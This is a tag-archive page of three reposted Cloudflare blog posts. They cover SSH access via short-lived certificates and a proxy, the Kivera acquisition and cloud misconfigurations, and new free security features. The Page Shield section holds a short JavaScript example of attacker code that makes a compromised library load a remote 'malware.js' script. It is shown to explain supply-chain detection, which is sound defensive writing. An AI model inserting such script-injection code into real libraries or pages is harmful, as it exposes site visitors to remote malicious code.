Tag Archives: Cloudflare One

Introducing Access for Infrastructure: SSH

Post Syndicated from Sharon Goldberg original https://blog.cloudflare.com/intro-access-for-infrastructure-ssh

BastionZero joined Cloudflare in May 2024. We are thrilled to announce Access for Infrastructure as BastionZero’s native integration into our SASE platform, Cloudflare One. Access for Infrastructure will enable organizations to apply Zero Trust controls in front of their servers, databases, network devices, Kubernetes clusters, and more. Today, we’re announcing short-lived SSH access as the first available feature. Over the coming months we will announce support for other popular infrastructure access target types like Remote Desktop Protocol (RDP), Kubernetes, and databases.

Applying Zero Trust principles to infrastructure

Organizations have embraced Zero Trust initiatives that modernize secure access to web applications and networks, but often the strategies they use to manage privileged access to their infrastructure can be siloed, overcomplicated, or ineffective. When we speak to customers about their infrastructure access solution, we see common themes and pain points:

  • Too risky: Long-lived credentials and shared keys get passed around and inflate the risk of compromise, excessive permissions, and lateral movement

  • Too clunky: Manual credential rotations and poor visibility into infrastructure access slow down incident response and compliance efforts

Some organizations have dealt with the problem of privileged access to their infrastructure by purchasing a Privileged Access Management (PAM) solution or by building a homegrown key management tool. Traditional PAM solutions introduce audit logging and session recording features that capture user interactions with their servers and other infrastructure and/or centralized vaults that rotate keys and passwords for infrastructure every time a key is used. But this centralization can introduce performance bottlenecks, harm usability, and come with a significant price tag. Meanwhile, homegrown solutions are built from primitives provided by cloud providers or custom infrastructure-as-code solutions, and can be costly and tiresome to build out and maintain. 

We believe that organizations should apply Zero Trust principles to their most sensitive corporate resources, which naturally includes their infrastructure. That’s why we’re augmenting Cloudflare’s Zero Trust Network Access (ZTNA) service with Access to Infrastructure to support privileged access to sensitive infrastructure, and offering features that will look somewhat similar to those found in a PAM solution:

  • Access: Connect remote users to infrastructure targets via Cloudflare’s global network.

  • Authentication: Eliminate the management of credentials for servers, containers, clusters, and databases and replace them with SSO, MFA, and device posture

  • Authorization: Use policy-based access control to determine who can access what target, when, and under what role. 

  • Auditing: Provide command logs and session recordings to allow administrators to audit and replay their developers’ interactions with the organization’s infrastructure.

At Cloudflare, we are big believers that unified experiences produce the best security outcomes, and because of that, we are natively rebuilding each BastionZero feature into Cloudflare’s ZTNA service. Today, we will cover the recently-released feature for short-lived SSH access.

Secure Shell (SSH) and its security risks

SSH (Secure Shell) is a protocol that is commonly used by developers or system administrators to secure the connections used to remotely administer and manage (usually Linux/Unix) servers. SSH access to a server often comes with elevated privileges, including the ability to delete or exfiltrate data or to install or remove applications on the server. 

Modern enterprises can have tens, hundreds, or even thousands of SSH targets. Servers accessible via SSH can be targeted in cryptojacking or proxyjacking attacks. Manually tracking, rotating, and validating SSH credentials that grant access is a chore that is often left undone, which creates risks that these long-lived credentials could be compromised. There’s nothing stopping users from copying SSH credentials and sharing them with other users or transferring them to unauthorized devices.

Although many organizations will gate access to their servers to users that are inside their corporate network, this is no longer enough to protect against modern attackers. Today, the principles of Zero Trust demand that an organization also tracks who exactly is accessing their servers with SSH, and what commands they are running on those servers once they have access. In fact, the elevated privileges that come along with SSH access mean that compliance frameworks like SOC2, ISO27001, FedRAMP and others have criteria that require monitoring who has access with SSH and what exactly they are doing with that access. 

Introducing SSH with Access for Infrastructure

We’ve introduced SSH with Access for Infrastructure to provide customers with granular control over privileged access to servers via SSH. The feature provides improved visibility into who accessed what service and what they did during their SSH session, while also eliminating the risk and overhead associated with managing SSH credentials. Specifically, this feature enables organizations to:

  • Eliminate security risk and overhead of managing SSH keys and instead use short-lived SSH certificates issued by a Cloudflare-managed certificate authority (CA).

  • Author fine-grained policy to govern who can SSH to your servers and through which SSH user(s) they can log in as.

  • Monitor infrastructure access with Access and SSH command logs, supporting regulatory compliance and providing visibility in case of security breach.

  • Avoid changing end-user workflows. SSH with Access for Infrastructure supports whatever native SSH clients end users happen to be using. 

SSH with Access for Infrastructure is supported through one of the most common deployment models of Cloudflare One customers. Users can connect using our device client (WARP), and targets are made accessible using Cloudflare Tunnel (cloudflared or the WARP connector). This architecture allows customers with existing Cloudflare One deployments to enable this feature with little to no effort. The only additional setup will be configuring your target server to accept a Cloudflare SSH certificate.


Cloudflare One already offers multiple ways to secure organizations’ SSH traffic through network controls. This new SSH with Access for Infrastructure aims to incorporate the strengths of those existing solutions together with additional controls to authorize ports, protocols, and specific users as well as a much improved deployment workflow and audit logging capabilities.

Eliminating SSH credentials using an SSH CA

How does Access for Infrastructure eliminate your SSH credentials? This is done by replacing SSH password and SSH keys with an SSH Certificate Authority (CA) that is managed by Cloudflare. Generally speaking, a CA’s job is to issue certificates that bind an entity to an entity’s public key. Cloudflare’s SSH CA has a secret key that is used to sign certificates that authorize access to a target (server) via SSH, and a public key that is used by the target (server) to cryptographically validate these certificates. The public key for the SSH CA can be obtained by querying the Cloudflare API. And the secret key for the SSH CA is kept secure by Cloudflare and never exposed to anyone. 

To use SSH with Access for Infrastructure to grant access via SSH to a set of targets (i.e. servers), you need to instruct those servers to trust the Cloudflare SSH CA. Those servers will then grant access via SSH whenever they are presented with an SSH certificate that is validly signed by the Cloudflare SSH CA.

The same Cloudflare SSH CA is used to support SSH access for all of your developers and engineers to all your target servers. This greatly simplifies key management. You no longer need to manage long-lived SSH keys and passwords for individual end users, because access to targets with SSH is granted via certificates that are dynamically issued by the Cloudflare SSH CA. And, because the Cloudflare SSH CA issued short-lived SSH certificates that expire after 3 minutes, you also don’t have to worry about creating or managing long-lived SSH credentials that could be stolen by attackers. 

The 3-minute time window on the SSH certificate only applies to the time window during which the user has to authenticate to the target server; it does not apply to the length of the SSH session, which can be arbitrarily longer than 3 minutes. This 3-minute window was chosen because it was short enough to reduce the risk of security compromise and long enough to ensure that we don’t miss the time window of the user’s authentication to the server, especially if the user is on a slow connection.

Centrally managing policies down to the specific Linux user

One of the problems with traditional SSH is that once a user has an SSH key or password installed on a server, they will have access to that server forever — unless an administrator somehow remembers to remove their SSH key or password from the server in question. This leads to privilege creep, where too many people have standing access to too many servers, creating a security risk if an SSH key or password is ever stolen or leaked.

Instead, SSH with Access for Infrastructure allows you to centrally write policies in the Cloudflare dashboard specifying exactly what (set of) users has access to what (set of) servers. Users may be authenticated by SSO, MFA, device posture, location, and more, which provides better security than just authenticating them via long-lived SSH keys or passwords that could be stolen by attackers.

Moreover, the SSH certificates issued by the Cloudflare CA include a field called ValidPrinciples which indicates the specific Linux user (e.g. root, read-only, ubuntu, ec2-user) that can be assumed by the SSH connection. As such, you can write policies that specify the (set of) Linux users that a given (set of) end users may access on a given (set of) servers, as shown in the figure below. This allows you to centrally control the privileges that a given end user has when accessing a given target server. (The one caveat here is that the server must also be pre-configured to already know about the specific Linux user (e.g. root) that is specified in the policies and presented in the SSH certificate. Cloudflare is NOT managing the Linux users on your Linux servers.)

As shown below, you could write a policy that says users in Canada, the UK, and Australia that are authenticated with MFA and face recognition can access the root and ec2-user Linux users on a given set of servers in AWS.


How does Cloudflare capture SSH command logs?

Cloudflare captures SSH command logs because we built an SSH proxy that intercepts the SSH connections. The SSH proxy establishes one SSH connection between itself and the end user’s SSH client, and another SSH connection between itself and the target (server). The SSH proxy can therefore inspect the SSH commands and log them. 

SSH commands are encrypted at rest using a public key that the customer uploads via the Cloudflare API. Cloudflare cannot read SSH command logs at rest, but they can be extracted (in encrypted form) from the Cloudflare API and decrypted by the customer (who holds the corresponding private key). Instructions for uploading the encryption public key are available in our developer documentation.


How the SSH interception works under the hood

How does generic SSH work?

To understand how Cloudflare’s SSH proxy works, we first must review how a generic SSH connection is established.

First off, SSH runs over TCP, so to establish an SSH connection, we first need to complete a TCP handshake. Then, once the TCP handshake is complete, an SSH key exchange is needed to establish an ephemeral symmetric key between the client and the server that will be used to encrypt and authenticate their SSH traffic. The SSH key exchange is based on the server public key, also known as the hostkey. If you’ve ever used SSH, you’ve probably seen this message — that is the SSH server telling your SSH client to trust this hostkey for all future SSH interactions. (This is also known as TOFU or Trust On First Use.)


Finally, the client needs to authenticate itself to the server. This can be done using SSH passwords, SSH keys, or SSH certificates (as described above). SSH also has a mode called none, which means that the client does NOT need to authenticate itself to the server at all.

So how does Cloudflare’s SSH proxy work? 


To understand this, we note that whenever you set up SSH with Access for Infrastructure in the Cloudflare dashboard, you first need to create the set of targets (i.e. servers) that you want to make accessible via SSH. Targets can be defined by IP address or hostname. You then create an Access for Infrastructure application that captures the TCP ports (e.g. port 22) that SSH runs over for those targets, and write policies for those SSH connections, as we already described above and in our developer documentation.

This setup allows Cloudflare to know the set of IP addresses and ports for which it must intercept SSH traffic. Thus, whenever Cloudflare sees a TCP handshake with an IP address and port that must be intercepted, it sends traffic for that TCP connection to the SSH proxy. 

The SSH proxy leverages the client’s already authenticated identity from the WARP client, and enforces the configured Access for Infrastructure policies against it. If the policies do not allow the identity to connect to the target under the requested Linux user (e.g. root), the SSH proxy will reject the connection and log an Access denied event to the Access logs. Otherwise, if policies do allow the identity to connect, the the SSH proxy will establish the following two SSH connections: 

  1. SSH connection from SSH proxy to target

  2. SSH connection from end user’s SSH client (via Cloudflare’s WARP client) to SSH proxy

Let’s take a look at each of these SSH connections, and the cryptographic material used to set them up. 

To establish the SSH connection from SSH proxy to the target, the SSH proxy acts as a client in the SSH key exchange between itself and the target server. The handshake uses the target server’s hostkey to establish an ephemeral symmetric key between the client and the server that will encrypt and authenticate their SSH traffic. Next, the SSH proxy must authenticate itself to the target server. This is done by presenting the server with a short-lived SSH certificate, issued by the Cloudflare SSH CA, for the specified Linux user that is requested for this connection as we already described above. Because the target server has been configured to trust the Cloudflare SSH CA, the target server will be able to successfully validate the certificate and the SSH connection will be established.

To establish the SSH connection from the end-user’s SSH client to SSH proxy, the SSH proxy acts as a server in the SSH key exchange between itself and the end-user’s SSH client. 

To do this, the SSH proxy needs to inform the end user’s SSH client about the hostkey that will be used to establish this connection. But what hostkey should be used? We cannot use the same hostkey used by the target server, because that hostkey is the public key that corresponds to a private key that is known only to the target server, and not known to the SSH proxy. So, Cloudflare’s SSH proxy needs to generate its own hostkey. We don’t want the end user to randomly see warnings like the one shown below, so the SSH proxy should provide the same hostkey each time the user wants to access a given target server. But, if something does change with the hostkey of the target server, we do want the warning below to be shown. 


To achieve the desired behavior, the SSH proxy generates a hostkey and its corresponding private key by hashing together (a) a fixed secret value valid that associated with the customer account, along with (b) the hostkey that was provided by this target server (in the connection from SSH proxy to target server). This part of the design ensures that the end user only needs to see the TOFU notification the very first time it connects to the target server via WARP, because the same hostkey is used for all future connections to that target. And, if the hostkey of the target server does change as a result of a Monster-In-The-Middle attack, the warning above will be shown to the user.

Finally, during the SSH key exchange handshake from WARP client to SSH proxy, the SSH proxy informs that end user’s native SSH client that it is using none for client authentication. This means that the SSH client does NOT need to authenticate itself to the server at all. This part of the design ensures that the user need not enter any SSH passwords or store any SSH keys in its SSH configuration in order to connect to the target server via WARP. Also, this does not compromise security, because the SSH proxy has already authenticated the end user via Cloudflare’s WARP client and thus does not need to use the native SSH client authentication in the native SSH client.

Put this all together, and we have accomplished our goal of having end users authenticate to target servers without any SSH keys or passwords, using Cloudflare’s SSH CA instead. Moreover, we also preserve the desired behaviors of the TOFU notifications and warnings built into native SSH clients!

All the keys

Before we wrap up, let’s review the cryptographic keys you need in order to deploy SSH with Access for Infrastructure. There are two keys:

  1. Public key of the SSH CA. The private key of the SSH CA is only known to Cloudflare and not shared with anyone. The public key of the SSH CA is obtained from the Cloudflare API and must be installed on all your target servers. The same public key is used for all of your targets. This public key does not need to be kept secret.

  2. Private key for SSH command log encryption. To obtain logs of SSH commands, you need to generate a public-private key pair, and upload the public key to Cloudflare. The public key will be used to encrypt your SSH commands logs at REST. You need to keep the private key secret, and you can use it to decrypt your SSH command logs. 

That’s it! No other keys, passwords, or credentials to manage!

Try it out today

At Cloudflare, we are committed to providing the most comprehensive solution for ZTNA, which now also includes privileged access to sensitive infrastructure like servers accessed over SSH.

Organizations can now treat SSH like any other Access application and enforce strong MFA, device context, and policy-based access prior to granting user access. This allows organizations to consolidate their infrastructure access policies into their broader SSE or SASE architecture.

You can try out Access for Infrastructure today by following these instructions in our developer documentation. Access for Infrastructure is currently available free to teams of under 50 users, and at no extra cost to existing pay-as-you-go and Contract plan customers through an Access or Zero Trust subscription. Expect to hear about a lot more features from us as we continue to natively rebuild BastionZero’s technology into Cloudflare’s Access for Infrastructure service!

Cloudflare acquires Kivera to add simple, preventive cloud security to Cloudflare One

Post Syndicated from Noelle Kagan original https://blog.cloudflare.com/cloudflare-acquires-kivera

We’re excited to announce that Kivera, a cloud security, data protection, and compliance company, has joined Cloudflare. This acquisition extends our SASE portfolio to incorporate inline cloud app controls, empowering Cloudflare One customers with preventative security controls for all their cloud services.

In today’s digital landscape, cloud services and SaaS (software as a service) apps have become indispensable for the daily operation of organizations. At the same time, the amount of data flowing between organizations and their cloud providers has ballooned, increasing the chances of data leakage, compliance issues, and worse, opportunities for attackers. Additionally, many companies — especially at enterprise scale — are working directly with multiple cloud providers for flexibility based on the strengths, resiliency against outages or errors, and cost efficiencies of different clouds. 

Security teams that rely on Cloud Security Posture Management (CSPM) or similar tools for monitoring cloud configurations and permissions and Infrastructure as code (IaC) scanning are falling short due to detecting issues only after misconfigurations occur with an overwhelming volume of alerts. The combination of Kivera and Cloudflare One puts preventive controls directly into the deployment process, or ‘inline’, blocking errors before they happen. This offers a proactive approach essential to protecting cloud infrastructure from evolving cyber threats, maintaining data security, and accelerating compliance. 

An early warning system for cloud security risks 

In a significant leap forward in cloud security, the combination of Kivera’s technology and Cloudflare One adds preventive, inline controls to enforce secure configurations for cloud resources. By inspecting cloud API traffic, these new capabilities equip organizations with enhanced visibility and granular controls, allowing for a proactive approach in mitigating risks, managing cloud security posture, and embracing a streamlined DevOps process when deploying cloud infrastructure.

Kivera will add the following capabilities to Cloudflare’s SASE platform:

  • One-click security: Customers benefit from immediate prevention of the most common cloud breaches caused by misconfigurations, such as accidentally allowing public access or policy inconsistencies.

  • Enforced cloud tenant control: Companies can easily draw boundaries around their cloud resources and tenants to ensure that sensitive data stays within their organization. 

  • Prevent data exfiltration: Easily set rules to prevent data being sent to unauthorized locations.

  • Reduce ‘shadow’ cloud infrastructure: Ensure that every interaction between a customer and their cloud provider is in line with preset standards. 

  • Streamline cloud security compliance: Customers can automatically assess and enforce compliance against the most common regulatory frameworks.

  • Flexible DevOps model: Enforce bespoke controls independent of public cloud setup and deployment tools, minimizing the layers of lock-in between an organization and a cloud provider.

  • Complementing other cloud security tools: Create a first line of defense for cloud deployment errors, reducing the volume of alerts for customers also using CSPM tools or Cloud Native Application Protection Platforms (CNAPPs). 


An intelligent proxy that uses a policy-based approach to
enforce secure configuration of cloud resources.

Better together with Cloudflare One

As a SASE platform, Cloudflare One ensures safe access and provides data controls for cloud and SaaS apps. This integration broadens the scope of Cloudflare’s SASE platform beyond user-facing applications to incorporate increased cloud security through proactive configuration management of infrastructure services, beyond what CSPM and CASB solutions provide. With the addition of Kivera to Cloudflare One, customers now have a unified platform for all their inline protections, including cloud control, access management, and threat and data protection. All of these features are available with single-pass inspection, which is 50% faster than Secure Web Gateway (SWG) alternatives.  

With the earlier acquisition of BastionZero, a Zero Trust infrastructure access company, Cloudflare One expanded the scope of its VPN replacement solution to cover infrastructure resources as easily as it does apps and networks. Together Kivera and BastionZero enable centralized security management across hybrid IT environments, and provide a modern DevOps-friendly way to help enterprises connect and protect their hybrid infrastructure with Zero Trust best practices.

Beyond its SASE capabilities, Cloudflare One is integral to Cloudflare’s connectivity cloud, enabling organizations to consolidate IT security tools on a single platform. This simplifies secure access to resources, from developer privileged access to technical infrastructure and expanding cloud services. As Forrester echoes, “Cloudflare is a good choice for enterprise prospects seeking a high-performance, low-maintenance, DevOps-oriented solution.”

The growing threat of cloud misconfigurations

The cloud has become a prime target for cyberattacks. According to the 2023 Cloud Risk Report, CrowdStrike observed a 95% increase in cloud exploitation from 2021 to 2022, with a staggering 288% jump in cases involving threat actors directly targeting the cloud.

Misconfigurations in cloud infrastructure settings, such as improperly set security parameters and default access controls, provide adversaries with an easy path to infiltrate the cloud. According to the 2023 Thales Global Cloud Security Study, which surveyed nearly 3,000 IT and security professionals from 18 countries, 44% of respondents reported experiencing a data breach, with misconfigurations and human error identified as the leading cause, accounting for 31% of the incidents.

Further, according to Gartner, “Through 2027, 99% of records compromised in cloud environments will be the result of user misconfigurations and account compromise, not the result of an issue with the cloud provider.”1

Several factors contribute to the rise of cloud misconfigurations:

  • Rapid adoption of cloud services: Leaders are often driven by the scalability, cost-efficiency, and ability to support remote work and real-time collaboration that cloud services offer. These factors enable rapid adoption of cloud services which can lead to unintentional misconfigurations as IT teams struggle to keep up with the pace and complexity of these services. 

  • Complexity of cloud environments: Cloud infrastructure can be highly complex with multiple services and configurations to manage. For example, AWS alone offers 373 services with 15,617 actions and 140,000+ parameters, making it challenging for IT teams to manage settings accurately. 

  • Decentralized management: In large organizations, cloud infrastructure resources are often managed by multiple teams or departments. Without centralized oversight, inconsistent security policies and configurations can arise, increasing the risk of misconfigurations.

  • Continuous Integration and Continuous Deployment (CI/CD): CI/CD pipelines promote the ability to rapidly deploy, change and frequently update infrastructure. With this velocity comes the increased risk of misconfigurations when changes are not properly managed and reviewed.

  • Insufficient training and awareness: Employees may lack the cross-functional skills needed for cloud security, such as understanding networks, identity, and service configurations. This knowledge gap can lead to mistakes and increases the risk of misconfigurations that compromise security.

Common exploitation methods 

Threat actors exploit cloud services through various means, including targeting misconfigurations, abusing privileges, and bypassing encryption. Misconfigurations such as exposed storage buckets or improperly secured APIs offer attackers easy access to sensitive data and resources. Privilege abuse occurs when attackers gain unauthorized access through compromised credentials or poorly managed identity and access management (IAM) policies, allowing them to escalate their access and move laterally within the cloud environment. Additionally, unencrypted data enables attackers to intercept and decrypt data in transit or at rest, further compromising the integrity and confidentiality of sensitive information.

Here are some other vulnerabilities that organizations should address: 

  • Unrestricted access to cloud tenants: Allowing unrestricted access exposes cloud platforms to data exfiltration by malicious actors. Limiting access to approved tenants with specific IP addresses and service destinations helps prevent unauthorized access.

  • Exposed access keys: Exposed access keys can be exploited by unauthorized parties to steal or delete data. Requiring encryption for the access keys and restricting their usage can mitigate this risk.

  • Excessive account permissions: Granting excessive privileges to cloud accounts increases the potential impact of security breaches. Limiting permissions to necessary operations helps prevent lateral movement and privilege escalation by threat actors.

  • Inadequate network segmentation: Poorly managed network security groups and insufficient segmentation practices can allow attackers to move freely within cloud environments. Drawing boundaries around your cloud resources and tenants ensures that data stays within your organization.

  • Improper public access configuration: Incorrectly exposing critical services or storage resources to the internet increases the likelihood of unauthorized access and data compromise. Preventing public access drastically reduces risk.

  • Shadow cloud infrastructure: Abandoned or neglected cloud instances are often left vulnerable to exploitation, providing attackers with opportunities to access sensitive data left behind. Preventing untagged or unapproved cloud resources to be created can reduce the risk of exposure.

Limitations of existing tools 

Many organizations turn to CSPM tools to give them more visibility into cloud misconfigurations. These tools often alert teams after an issue occurs, putting security teams in a reactive mode. Remediation efforts require collaboration between security teams and developers to implement changes, which can be time-consuming and resource-intensive. This approach not only delays issue resolution but also exposes companies to compliance and legal risks, while failing to train employees on secure cloud practices. On average, it takes 207 days to identify these breaches and an additional 70 days to contain them. 

Addressing the growing threat of cloud misconfigurations requires proactive security measures and continuous monitoring. Organizations must adopt proactive security solutions that not only detect and alert but also prevent misconfigurations from occuring in the first place and enforce best practices. Creating a first line of defense for cloud deployment errors reduces the volume of alerts for customers, especially those also using CSPM tools or CNAPPs. 

By implementing these proactive strategies, organizations can safeguard their cloud environments against the evolving landscape of cyber threats, ensuring robust security and compliance while minimizing risks and operational disruptions.

What’s next for Kivera

The Kivera product will not be a point solution add-on. We’re making it a core part of our Cloudflare One offering because integrating features from products like our Secure Web Gateway give customers a comprehensive solution that works better together.

We’re excited to welcome Kivera to the Cloudflare team. Through the end of 2024 and into early 2025, Kivera’s team will focus on integrating their preventive inline cloud app controls directly into Cloudflare One. We are looking for early access testers and teams to provide feedback about what they would like to see. If you’d like early access, please join the waitlist.

[1] Source: Outcome-Driven Metrics You Can Use to Evaluate Cloud Security Controls, Gartner, Charlie Winckless, Paul Proctor, Manuel Acosta, 09/28/2023 

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

A safer Internet with Cloudflare: free threat intelligence, analytics, and new threat detections

Post Syndicated from Michael Tremante original https://blog.cloudflare.com/a-safer-internet-with-cloudflare

Anyone using the Internet likely touches Cloudflare’s network on a daily basis, either by accessing a site protected by Cloudflare, using our 1.1.1.1 resolver, or connecting via a network using our Cloudflare One products.

This puts Cloudflare in a position of great responsibility to make the Internet safer for billions of users worldwide. Today we are providing threat intelligence and more than 10 new security features for free to all of our customers. Whether you are using Cloudflare to protect your website, your home network, or your office, you will find something useful that you can start using with just a few clicks.

These features are focused around some of the largest growing concerns in cybersecurity, including account takeover attacks, supply chain attacks, attacks against API endpoints, network visibility, and data leaks from your network.

More security for everyone

You can read more about each one of these features in the sections below, but we wanted to provide a short summary upfront.

If you are a cyber security enthusiast: you can head over to our new Cloudforce One threat intelligence website to find out about threat actors, attack campaigns, and other Internet-wide security issues.

If you are a website owner: starting today, all free plans will get access to Security Analytics for their zones. Additionally, we are also making DNS Analytics available to everyone via GraphQL.

Once you have visibility, it’s all about distinguishing good from malicious traffic. All customers get access to always-on account takeover attack detection, API schema validation to enforce a positive security model on their API endpoints, and Page Shield script monitor to provide visibility into the third party assets that you are loading from your side and that could be used to perform supply chain-based attacks.

If you are using Cloudflare to protect your people and network: We are going to bundle a number of our Cloudflare One products into a new free offering. This bundle will include the current Zero Trust products we offer for free, and new products like Magic Network Monitoring for network visibility, Data Loss Prevention for sensitive data, and Digital Experience Monitoring for measuring network connectivity and performance. Cloudflare is the only vendor to offer free versions of these types of products.

If you are a new user: We have new options for authentication. Starting today, we are introducing the option to use Google Authentication to sign up and log into Cloudflare, which will make it easier for some of our customers to login, and reduce dependence on remembering passwords, consequently reducing the risk of their Cloudflare account becoming compromised.

And now in more detail:

Threat Intelligence & Analytics

Cloudforce One

Our threat research and operations team, Cloudforce One, is excited to announce the launch of a freely accessible dedicated threat intelligence website. We will use this site to publish both technical and executive-oriented information on the latest threat actor activity and tactics, as well as insights on emerging malware, vulnerabilities, and attacks.

We are also publishing two new pieces of threat intelligence, along with a promise for more. Head over to the new website here to see the latest research, covering an advanced threat actor targeting regional organizations across South and East Asia, as well as the rise of double brokering freight fraud. Future research and data sets will also become available as a new Custom Indicator Feed for customers.

Subscribe to receive email notifications of future threat research.

Security Analytics

Security Analytics gives you a security lens across all of your HTTP traffic, not only mitigated requests, allowing you to focus on what matters most: traffic deemed malicious but potentially not mitigated. This means that, in addition to using Security Events to view security actions taken by our Application Security suite of products, you can use Security Analytics to review all of your traffic for anomalies or strange behavior and then use the insights gained to craft precise mitigation rules based on your specific traffic patterns. Starting today, we are making this lens available to customers across all plans.

Free and Pro plan users will now have access to a new dashboard for Security Analytics where you can view a high level overview of your traffic in the Traffic Analysis chart, including the ability to group and filter so that you can zero in on anomalies with ease. You can also see top statistics and filter across a variety of dimensions, including countries, source browsers, source operating systems, HTTP versions, SSL protocol version, cache status, and security actions.


DNS Analytics

Every user on Cloudflare now has access to the new and improved DNS Analytics dashboard as well as access to the new DNS Analytics dataset in our powerful GraphQL API. Now, you can easily analyze the DNS queries to your domain(s), which can be useful for troubleshooting issues, detecting patterns and trends, or generating usage reports by applying powerful filters and breaking out DNS queries by source.

With the launch of Foundation DNS, we introduced new DNS Analytics based on GraphQL, but these analytics were previously only available for zones using advanced nameservers. However, due to the deep insight these analytics provide, we felt this feature was something we should make available to everyone. Starting today, the new DNS Analytics based on GraphQL can be accessed on every zone using Cloudflare’s Authoritative DNS service under Analytics in the DNS section.


Application threat detection and mitigation

Account takeover detection

65% of Internet users are vulnerable to account takeover (ATO) due to password reuse and the rising frequency of large data breaches. Helping build a better Internet involves making critical account protection easy and accessible for everyone.

Starting today, we’re providing robust account security that helps prevent credential stuffing and other ATO attacks to everyone for free — from individual users to large enterprises — making enhanced features like Leaked Credential Checks and ATO detections available at no cost. 

These updates include automatic detection of logins, brute force attack prevention with minimal setup, and access to a comprehensive leaked credentials database of over 15 billion passwords which will contain leaked passwords from the Have I been Pwned (HIBP) service in addition to our own database. Customers can take action on the leaked credential requests through Cloudflare’s WAF features like Rate Limiting Rules and Custom Rules, or they can take action at the origin by enforcing multi-factor authentication (MFA) or requiring a password reset based on a header sent to the origin.

Setup is simple: Free plan users get automatic detections, while paid users can activate the new features via one click in the Cloudflare dashboard. For more details on setup and configuration, refer to our documentation and use it today!

API schema validation

API traffic comprises more than half of the dynamic traffic on the Cloudflare network. The popularity of APIs has opened up a whole new set of attack vectors. Cloudflare API Shield’s Schema Validation is the first step to strengthen your API security in the face of these new threats.

Now for the first time, any Cloudflare customer can use Schema Validation to ensure only valid requests to their API make it through to their origin.

This functionality stops accidental information disclosure due to bugs, stops developers from haphazardly exposing endpoints through a non-standard process, and automatically blocks zombie APIs as your API inventory is kept up-to-date as part of your CI/CD process.


We suggest you use Cloudflare’s API or Terraform provider to add endpoints to Cloudflare API Shield and update the schema after your code’s been released as part of your post-build CI/CD process. That way, API Shield becomes a go-to API inventory tool, and Schema Validation will take care of requests towards your API that you aren’t expecting.

While APIs are all about integrating with third parties, sometimes integrations are done by loading libraries directly into your application. Next up, we’re helping secure more of the web by protecting users from malicious third party scripts that steal sensitive information from inputs on your pages.

Supply chain attack prevention

Modern web apps improve their users’ experiences and cut down on developer time through the use of third party JavaScript libraries. Because of its privileged access level to everything on the page, a compromised third party JavaScript library can surreptitiously exfiltrate sensitive information to an attacker without the end user or site administrator realizing it’s happened.

To counter this threat, we introduced Page Shield three years ago. We are now releasing Page Shield’s Script Monitor for free to all our users.


With Script Monitor, you’ll see all JavaScript assets loaded on the page, not just the ones your developers included. This visibility includes scripts dynamically loaded by other scripts! Once an attacker compromises the library, it is trivial to add a new malicious script without changing the context of the original HTML by instead including new code in the existing included JavaScript asset:

// Original library code (trusted)
function someLibraryFunction() {
    // useful functionality here
}

// Malicious code added by the attacker
let malScript = document.createElement('script');
malScript.src = 'https://example.com/malware.js';
document.body.appendChild(malScript);

Script Monitor was essential when the news broke of the pollyfill.io library changing ownership. Script Monitor users had immediate visibility to the scripts loaded on their sites and could quickly and easily understand if they were at risk.

We’re happy to extend visibility of these scripts to as much of the web as we can by releasing Script Monitor for all customers. Find out how you can get started here in the docs.

Existing users of Page Shield can immediately filter on the monitored data, knowing whether polyfill.io (or any other library) is used by their app. In addition, we built a polyfill.io rewrite in response to the compromised service, which was automatically enabled for Free plans in June 2024.

Turnstile as a Google Firebase extension 

We’re excited to announce the Cloudflare Turnstile App Check Provider for Google Firebase, which offers seamless integration without the need for manual setup. This new extension allows developers building mobile or web applications on Firebase to protect their projects from bots using Cloudflare’s CAPTCHA alternative. By leveraging Turnstile’s bot detection and challenge capabilities, you can ensure that only authentic human visitors interact with your Firebase backend services, enhancing both security and user experience. Cloudflare Turnstile, a privacy-focused CAPTCHA alternative, differentiates between humans and bots without disrupting the user experience. Unlike traditional CAPTCHA solutions, which users often abandon, Turnstile operates invisibly and provides various modes to ensure frictionless user interactions.

The Firebase App Check extension for Turnstile is easy to integrate, allowing developers to quickly enhance app security with minimal setup. This extension is also free with unlimited usage with Turnstile’s free tier. By combining the strengths of Google Firebase’s backend services and Cloudflare’s Turnstile, developers can offer a secure and seamless experience for their users. 

Cloudflare One

Cloudflare One is a comprehensive Secure Access Service Edge (SASE) platform designed to protect and connect people, apps, devices, and networks across the Internet. It combines services such as Zero Trust Network Access (ZTNA), Secure Web Gateway (SWG), and more into a single solution. Cloudflare One can help everyone secure people and networks, manage access control, protect against cyber threats, safeguard their data, and improve the performance of network traffic by routing it through Cloudflare’s global network. It replaces traditional security measures by offering a cloud-based approach to secure and streamline access to corporate resources.

Everyone now has free access to four new products that have been added to Cloudflare One over the past two years:

This is in addition to the existing network security products already in the Cloudflare One platform:

  • Access for verifying users’ identity and only letting them use the applications they’re meant to be using.

  • Gateway for protecting network traffic that both goes out to the public Internet and into your private network.

  • Cloudflare Tunnel, our app connectors, which includes both cloudflared and WARP Connector for connecting different applications, servers, and private networks to Cloudflare’s network.

  • Cloudflare WARP, our device agent, for securely sending traffic from a laptop or mobile device to the Internet.

Anyone with a Cloudflare account will automatically receive 50 free seats across all of these products in their Cloudflare One organization. Visit our Zero Trust & SASE plans page for more information about our free products and to learn about our Pay-as-you-go and Contract plans for teams above 50 members.

Authenticating with Google

The Cloudflare dashboard itself has become a vital resource that needs to be protected, and we spend a lot of time ensuring Cloudflare user accounts do not get compromised.

To do this, we have increased security by adding additional authentication methods including app-based two-factor authentication (2FA), passkeys, SSO, and Sign in with Apple. Today we’re adding the ability to sign up and sign in with a Google account.

Cloudflare supports several authentication workflows tailored to different use cases. While SSO and passkeys are the preferred and most secure methods of authentication, we believe that providing authentication factors that are stronger than passwords will fill a gap and raise overall average security for our users. Signing in with Google makes life easier for our users and prevents them from having to remember yet another password when they’re already browsing the web with a Google identity.

Sign in with Google is based on the OAuth 2.0 specification, and allows Google to securely share identifying information about a given identity while ensuring that it is Google providing this information, preventing any malicious entities from impersonating Google.

This means that we can delegate authentication to Google, preventing zero knowledge attacks directly on this Cloudflare identity.

Upon coming to the Cloudflare Sign In page, you will be presented with the button below. Clicking on it will allow you to register for Cloudflare, and once you are registered, it will allow you to sign in without typing in a password, using any existing protections you have set on your Google account.

With the launch of this capability, Cloudflare now uses its own Cloudflare Workers to provide an abstraction layer for OIDC-compatible identity providers (such as GitHub and Microsoft accounts), which means our users can expect to see more identity provider (IdP) connection support coming in the future.

